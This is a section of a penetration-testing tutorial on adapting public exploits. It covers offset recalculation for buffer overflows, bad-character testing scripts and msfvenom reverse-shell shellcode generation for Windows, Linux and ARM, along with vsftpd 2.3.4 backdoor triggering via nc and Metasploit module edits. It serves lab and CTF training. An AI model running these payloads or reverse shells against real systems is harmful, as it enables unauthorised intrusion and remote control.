A public exploit is a starting point, not a guaranteed solution. The version is slightly off. The architecture is different. The service is configured differently than the exploit expects. The shellcode contains bad characters for this specific target. Every one of these situations requires the same skill — reading what the exploit is doing, understanding why it is failing, and making the changes needed to make it work. This section is about building that skill.
🔰 Beginners: This section assumes you have read Manual Exploitation Overview and understand what an exploit is doing at a basic level. If terms like offset, shellcode, or payload are unfamiliar — start there first.
⚡ Seasoned practitioners: The Python environment setup and cross-architecture modification sections contain practical workflow details worth reviewing.
Before you start — know these terms:
- Offset — the exact number of bytes needed to reach a specific point in memory, like the return address in a buffer overflow. Changing the target version often means recalculating the offset.
- Shellcode — the machine code payload that executes on the target. Must be regenerated for different architectures, operating systems, and to exclude bad characters.
- Bad characters — byte values that break the exploit — null bytes, newlines, or other values the vulnerable service strips or interprets specially.
- Virtual environment (venv) — an isolated Python environment that keeps one project's dependencies separate from another's. Essential when working with exploits that require specific library versions.
- Architecture — the processor type the exploit targets. x86 (32-bit) and x86_64 (64-bit) exploits are not interchangeable. ARM is different again. Getting this wrong means the exploit fails.
- Setting Up Your Exploit Environment
- Virtual Environments — Why They Matter
- Reading an Exploit Before Modifying It
- Changing Target Information
- Recalculating Offsets
- Replacing Shellcode
- Finding and Removing Bad Characters
- Fixing Architecture Mismatches
- Adapting Python 2 Exploits to Python 3
- Modifying Metasploit Modules
- Real Worked Examples
- CTF vs Real World
Before modifying anything, set up a clean working environment. Modifying exploits in place on your system creates dependency conflicts and makes it hard to track what changed.
# Create a clean working directory for each target or engagement
mkdir -p ~/exploits/TARGET_NAME
cd ~/exploits/TARGET_NAME
# Copy the exploit here — never modify the original
cp /usr/share/exploitdb/exploits/path/to/exploit.py ./exploit_original.py
cp exploit_original.py exploit_modified.py
# Work on the copy — keep the original for reference
code exploit_modified.py# Kali Linux — most are pre-installed
# Verify these are available:
python3 --version
python2 --version # may need: sudo apt install python2
msfvenom --version
searchsploit --version
# Install common exploit dependencies
pip3 install pwntools
pip3 install requests
pip3 install impacket
# For binary exploitation
sudo apt install gdb
sudo apt install gdb-peda # enhanced GDB interface
# Or pwndbg:
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.shPlain English: When you install Python libraries system-wide, every project shares the same versions of everything. This causes conflicts — one exploit needs requests version 2.25, another needs requests version 2.28, and they cannot both be satisfied at once. A virtual environment is an isolated Python installation for a single project. It has its own copy of pip and its own installed libraries, completely separate from everything else.
This is especially important with exploits because older exploits often require specific older library versions that conflict with what modern tools need. A virtual environment lets you install exactly what an old exploit needs without breaking anything else.
# Create a virtual environment in your working directory
cd ~/exploits/TARGET_NAME
python3 -m venv venv
# What this creates:
# venv/ ← the virtual environment directory
# bin/ ← Python and pip executables
# lib/ ← installed packages go here
# include/ ← header files
# Activate the virtual environment
# Linux / macOS:
source venv/bin/activate
# Windows (PowerShell):
.\venv\Scripts\Activate.ps1
# Windows (CMD):
.\venv\Scripts\activate.bat
# Your prompt changes to show the active environment:
# (venv) user@machine:~/exploits/TARGET_NAME$
# Now install dependencies inside the environment
pip install requests==2.25.1 # specific version
pip install pwntools
pip install -r requirements.txt # if exploit has a requirements file
# Run the exploit inside the environment
python3 exploit_modified.py
# Deactivate when done
deactivateAlways use a venv when:
✅ The exploit has a requirements.txt file
✅ The exploit imports unusual libraries
✅ You need a specific older version of a library
✅ You are working on multiple exploits simultaneously
✅ The exploit fails with import errors on first run
You can skip venv when:
→ The exploit only uses Python standard library
(socket, struct, sys, os — no pip installs needed)
→ Quick one-off test with no dependencies
Never modify what you do not understand. Before changing a single line, read the entire exploit and answer these questions:
1. What vulnerability does it exploit?
→ Read the comments at the top
→ Look up the CVE if referenced
2. What does it send?
→ Find where the payload is constructed
→ Find where data is sent (socket.send, requests.post, etc.)
3. What does it expect back?
→ Find where it reads responses
→ What response indicates success?
4. What variables control the target?
→ IP address, port number
→ Any authentication required?
5. What variables control the callback?
→ Your IP (LHOST)
→ Your port (LPORT)
6. What are the hardcoded values?
→ Offsets, addresses, magic bytes
→ These may need changing for different versions
7. What dependencies does it need?
→ All import statements at the top
→ Any external tools called?
# As you read — add your own comments
# This forces you to understand each section
import socket # network connection
import struct # binary data packing
# ── CHANGE THESE ────────────────────────────────────────
ip = "127.0.0.1" # ← TARGET IP
port = 9999 # ← TARGET PORT
lhost = "127.0.0.1" # ← YOUR IP (tun0 on HTB)
lport = 4444 # ← YOUR LISTENER PORT
# ── MAY NEED CHANGING ───────────────────────────────────
offset = 2606 # ← bytes to reach EIP — recalculate if version differs
eip = b"\xaf\x11\x50\x62" # ← JMP ESP address — find in target binary
# ── SHELLCODE — ALWAYS REGENERATE ───────────────────────
# Generated with: msfvenom -p windows/shell_reverse_tcp ...
shellcode = b"\xdb\xc0..."The simplest modification — updating IP addresses, ports, and credentials. Always do this first.
# Find all target variables — usually at the top of the file
# Common variable names:
# IP and port
ip = "192.168.1.1" # → change to your target
host = "192.168.1.1" # → same
rhost = "192.168.1.1" # → remote host
target = "192.168.1.1" # → same
port = 80 # → change to correct port
rport = 80 # → remote port
# Your IP (for reverse shells)
lhost = "10.10.14.1" # → change to YOUR tun0 IP
my_ip = "10.10.14.1" # → same
local_ip = "10.10.14.1" # → same
# Your port (listener port)
lport = 4444 # → change to match your listener
local_port = 4444 # → same
# Credentials (if required)
username = "admin" # → change if needed
password = "password" # → change if needed
# Authentication tokens
token = "CHANGEME" # → update with real token
api_key = "CHANGEME" # → update with real keyFinding all hardcoded IPs in an exploit:
# Search for IP addresses in the exploit
grep -n "192\.\|10\.\|172\.\|127\." exploit.py
# Search for port numbers
grep -n "port\|PORT\|4444\|9999\|8080" exploit.py
# Search for your IP placeholder
grep -n "LHOST\|lhost\|your.ip\|YOUR_IP\|attacker" exploit.pyPlain English: In buffer overflow exploits, the offset is the exact number of bytes you need to send before your data reaches the return address (EIP). If the exploit targets version 2.3 but your target is version 2.4, the offset may be completely different because the developer changed the code layout.
When an exploit has the wrong offset, EIP will not contain what you expect — you will see a crash at a wrong address, or no crash at all.
# Run the exploit unmodified and watch the crash
# In Immunity Debugger or GDB:
# If EIP does not show 41414141 (AAAA) or your pattern value
# → offset is wrong
# If EIP shows a garbage value or the program crashes elsewhere
# → offset needs recalculation# Using Metasploit pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5000
# Using pwntools
python3 -c "from pwn import *; print(cyclic(5000).decode())"# Temporarily replace the buffer with the cyclic pattern
# In the exploit file:
# Original:
padding = b"A" * 2606
# Modified for offset finding:
pattern = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6..." # paste your pattern here
# Replace the padding line:
payload = pattern
# Send to target — note the EIP value in debugger after crash# Using Metasploit with the EIP value from debugger
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 5000 -q EIP_VALUE
# Using pwntools
python3 -c "from pwn import *; print(cyclic_find(0xEIP_IN_HEX))"
# Example:
# EIP shows: 39694438 (in Immunity Debugger)
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 5000 -q 39694438
# Output: [*] Exact match at offset 2606# Update the offset variable
offset = 2606 # ← your recalculated value
padding = b"A" * offset
# Verify by sending B's — EIP should show 42424242
eip = b"B" * 4
payload = padding + eip
# Send to target — confirm EIP shows 42424242 in debuggerShellcode in public exploits almost always needs to be replaced. The original shellcode connects back to the author's IP, uses a specific port, or contains bad characters for your target.
# Never use shellcode from a public exploit as-is
# Always generate your own with your IP and port
# Windows reverse shell — 32-bit target
msfvenom -p windows/shell_reverse_tcp \
LHOST=YOUR-IP \
LPORT=4444 \
-b "\x00\x0a\x0d" \
-f python \
-v shellcode
# Windows reverse shell — 64-bit target
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=YOUR-IP \
LPORT=4444 \
-b "\x00" \
-f python \
-v shellcode
# Linux reverse shell — 32-bit
msfvenom -p linux/x86/shell_reverse_tcp \
LHOST=YOUR-IP \
LPORT=4444 \
-b "\x00" \
-f python \
-v shellcode
# Linux reverse shell — 64-bit
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=YOUR-IP \
LPORT=4444 \
-b "\x00" \
-f python \
-v shellcode# Original shellcode in the exploit (do not use):
shellcode = (
b"\xdb\xc0\xd9\x74\x24\xf4\x5a\x29"
b"\xc9\xb1\x52\x31\x42\x17..."
# connects back to original author's IP
)
# Replace with your generated shellcode:
# (paste the output from msfvenom here)
shellcode = b""
shellcode += b"\xdb\xc0\xd9\x74\x24\xf4\x58\x2b"
shellcode += b"\xc9\xb1\x52\x31\x58\x17\x83\xe8"
# ... rest of your shellcodePlain English: Some byte values get modified or stripped by the
vulnerable service before reaching your shellcode. A null byte
(\x00) terminates a string in C — anything after it is ignored.
A newline (\x0a) might end a line and break the protocol. These
are bad characters — they must be excluded from shellcode.
Every target potentially has different bad characters. You must find them for each specific target.
#!/usr/bin/env python3
import socket
ip = "TARGET-IP"
port = TARGET_PORT
offset = YOUR_OFFSET
# All bytes from \x01 to \xff (excluding \x00 which is always bad)
all_bytes = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
b"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
b"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
b"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
b"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
b"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
padding = b"A" * offset
eip = b"B" * 4
payload = padding + eip + all_bytes
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(payload)
s.close()In Immunity Debugger:
1. After crash — right click ESP register → Follow in Dump
2. Look at the hex dump starting from ESP
3. The bytes should appear in order: 01 02 03 04 05...
4. Find where the sequence breaks:
- Missing byte → that byte is bad (stripped)
- Wrong byte → that byte is being modified
- Sequence stops → that byte terminates the input
Example: sequence goes 01 02 03 04 05 06 07 08 09 0B...
→ 0A is missing → \x0a is a bad character
# Remove the identified bad character and send again
# Repeat until the full sequence appears unmodified
# Example — found \x0a is bad:
all_bytes = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09"
# \x0a removed
b"\x0b\x0c\x0d\x0e\x0f..."
)
# Keep iterating until sequence is clean
# Then regenerate shellcode excluding ALL found bad characters:
msfvenom -p windows/shell_reverse_tcp \
LHOST=YOUR-IP LPORT=4444 \
-b "\x00\x0a" # ← list all bad characters here
-f python -v shellcodePlain English: A 32-bit exploit will not work on a 64-bit target and vice versa. The processor instructions are different, memory addresses are different sizes (4 bytes vs 8 bytes), and calling conventions differ. Getting this wrong produces crashes that look like wrong offsets but are actually wrong architecture.
# From nmap output
nmap -sV TARGET_IP
# Look for: 32-bit, 64-bit, x86, x86_64, AMD64, aarch64
# From a shell on the target
uname -m # Linux
# x86_64 → 64-bit
# i686 or i386 → 32-bit
# aarch64 → 64-bit ARM
# Windows
systeminfo | findstr /i "system type"
# x64-based → 64-bit
# x86-based → 32-bit
# From file output on a binary
file vulnerable_binary
# ELF 32-bit LSB → 32-bit Linux
# ELF 64-bit LSB → 64-bit Linux
# PE32 → 32-bit Windows
# PE32+ → 64-bit Windows# 32-bit Windows payload
msfvenom -p windows/shell_reverse_tcp \
LHOST=YOUR-IP LPORT=4444 -f python
# 64-bit Windows payload
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=YOUR-IP LPORT=4444 -f python
# 32-bit Linux payload
msfvenom -p linux/x86/shell_reverse_tcp \
LHOST=YOUR-IP LPORT=4444 -f python
# 64-bit Linux payload
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=YOUR-IP LPORT=4444 -f python
# ARM (IoT devices, some servers)
msfvenom -p linux/armle/shell_reverse_tcp \
LHOST=YOUR-IP LPORT=4444 -f pythonArchitecture in the exploit structure:
# 32-bit addresses are 4 bytes — packed with struct.pack("<I", ...)
eip = struct.pack("<I", 0x625011af) # 32-bit little-endian
# 64-bit addresses are 8 bytes — packed with struct.pack("<Q", ...)
rip = struct.pack("<Q", 0x00007f1234567890) # 64-bit little-endian
# 32-bit exploit — EIP control at 4 bytes
eip = b"B" * 4
# 64-bit exploit — RIP control at 8 bytes
rip = b"B" * 8Many public exploits were written in Python 2. Python 2 reached end of life in 2020 but enormous amounts of exploit code still uses it. When Python 2 is not available on your system, you need to adapt the exploit to Python 3.
# ── Strings and Bytes ────────────────────────────────────
# Python 2: strings and bytes are the same
buffer = "A" * 100
s.send(buffer)
# Python 3: strings and bytes are different
# Must explicitly use bytes
buffer = b"A" * 100 # bytes literal
buffer = "A" * 100 # this is a string — send() will fail
s.send(buffer.encode()) # encode string to bytes for send()
# ── Print Statements ─────────────────────────────────────
# Python 2:
print "Sending payload..."
print "Connected to " + ip
# Python 3:
print("Sending payload...")
print("Connected to " + ip)
# ── Integer Division ─────────────────────────────────────
# Python 2: / does integer division for integers
result = 10 / 3 # = 3
# Python 3: / always returns float
result = 10 / 3 # = 3.333...
result = 10 // 3 # = 3 (use // for integer division)
# ── Raw Input ────────────────────────────────────────────
# Python 2:
data = raw_input("Enter value: ")
# Python 3:
data = input("Enter value: ")
# ── Exception Handling ───────────────────────────────────
# Python 2:
except Exception, e:
print e
# Python 3:
except Exception as e:
print(e)
# ── urllib ────────────────────────────────────────────────
# Python 2:
import urllib2
response = urllib2.urlopen(url)
# Python 3:
import urllib.request
response = urllib.request.urlopen(url)# 2to3 — automatic Python 2 to 3 converter
# Converts most common issues automatically
2to3 exploit.py -w
# This overwrites the file — work on a copy first
cp exploit.py exploit_py3.py
2to3 exploit_py3.py -w
# Review the changes — 2to3 does not catch everything
# Especially string/bytes conversion needs manual reviewSometimes you need to modify a Metasploit module — change a target definition, add a new version, or fix a bug in the module.
# Find where Metasploit modules are stored
find /usr/share/metasploit-framework/modules -name "*.rb" | grep SERVICE_NAME
# Or search by CVE
find /usr/share/metasploit-framework/modules -name "*.rb" | xargs grep -l "CVE-XXXX"
# Copy to local modules directory before modifying
mkdir -p ~/.msf4/modules/exploits/custom/
cp /usr/share/metasploit-framework/modules/exploits/path/module.rb \
~/.msf4/modules/exploits/custom/module_modified.rb# Adding a new target version to an existing module
# Find the 'Targets' section:
'Targets' =>
[
['Windows XP SP3 EN', { 'Ret' => 0x7c919AF4 }],
['Windows 7 SP1 EN', { 'Ret' => 0x7c819AF4 }],
# Add your new target:
['Windows 10 1903 EN', { 'Ret' => 0x77819AF4 }],
],
# Modifying the payload size
'Payload' =>
{
'Space' => 1000, # ← change if payload is too large
'BadChars' => "\x00\x0a\x0d", # ← add your bad characters
},# In msfconsole — reload after modifying
msf6 > reload_all
# Or reload a specific module
msf6 > use exploit/custom/module_modified
msf6 > reloadScenario: Public exploit targets vsftpd 2.3.4 backdoor. Your target shows vsftpd 2.3.4 but the exploit is not working.
# Step 1 — read the exploit
cat exploit.py
# Exploit connects to port 21, sends USER with :)
# Expects backdoor shell on port 6200
# Step 2 — test manually
nc TARGET_IP 21
# Read the banner: 220 (vsFTPd 2.3.4)
# Confirmed version
# Step 3 — test backdoor manually
echo -e "USER test:)\nPASS test" | nc TARGET_IP 21
# Check if port 6200 opens
nc TARGET_IP 6200
# Step 4 — if no response on 6200
# The backdoor may not be present despite version string
# Some distributions patch this specific backdoor
# The version string was not changed after patching
# Step 5 — look for other vulnerabilities
searchsploit vsftpd
# Find other attack vectors for this service
# This is a pivot point — the exploit is not wrong,
# the target is simply not vulnerable via this pathScenario: Buffer overflow exploit crashes the service but no shell arrives. Debugger shows EIP controlled correctly.
# Step 1 — confirm EIP control is working
# EIP shows 42424242 when sending B padding — good
# Step 2 — check the shellcode architecture
# Original exploit uses: msfvenom -p windows/shell_reverse_tcp
# Target is: 64-bit Windows
# Step 3 — regenerate shellcode for correct architecture
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=YOUR-IP LPORT=4444 \
-b "\x00\x0a\x0d" \
-f python -v shellcode
# Step 4 — update exploit
# Replace old shellcode with new x64 shellcode
# Also check: EIP becomes RIP in 64-bit, offset changes
# Step 5 — recalculate offset for 64-bit
# 64-bit addresses are 8 bytes not 4
# The overflow path to RIP may be different
# Use cyclic pattern and recalculateScenario: Downloaded exploit fails immediately with SyntaxError.
# Step 1 — identify the error
python3 exploit.py
# SyntaxError: Missing parentheses in call to 'print'
# → Python 2 exploit
# Step 2 — check if Python 2 is available
which python2
python2 --version
# If available: python2 exploit.py
# Step 3 — if Python 2 not available, convert
cp exploit.py exploit_py3.py
2to3 exploit_py3.py -w
# Step 4 — check for bytes/string issues
grep "s\.send" exploit_py3.py
# If sending string variables — add .encode()
# s.send(buffer) → s.send(buffer.encode())
# Step 5 — test the converted exploit
python3 exploit_py3.pyPractice targets:
- HackTheBox — Brainfuck (custom exploit modification)
- HackTheBox — October (Linux buffer overflow modification)
- VulnHub — Brainpan (Windows BoF offset calculation)
- TryHackMe — Buffer Overflow Prep (guided offset practice)
| CTF | Real Engagement | |
|---|---|---|
| Exploit source | Exploit-DB, GitHub, SearchSploit | Same plus CVE databases |
| Modification needed | Sometimes | Almost always |
| Version precision | Usually exact match | May need multiple variants |
| Architecture | Usually specified | Must determine from enumeration |
| Bad characters | Usually pre-identified | Always find yourself |
| Shellcode | Standard reverse shell | May need custom to bypass AV |
| Virtual environments | Optional but good practice | Standard practice |
| Documentation | Notes on what changed | Full modification log required |
| Testing environment | Just the target | Lab replica of target before live |
| Resource | What It Covers |
|---|---|
| Manual Exploitation Overview | Running exploits before modifying them |
| Writing Exploits | Building from scratch when modification is not enough |
| Buffer Overflow | Understanding what you are modifying |
| Evasion | Modifying shellcode to bypass AV |
| Shells | Choosing the right payload |
| Vuln Research | Finding the exploit to modify |
by SudoChef · Part of the SudoCode Pentesting Methodology Guide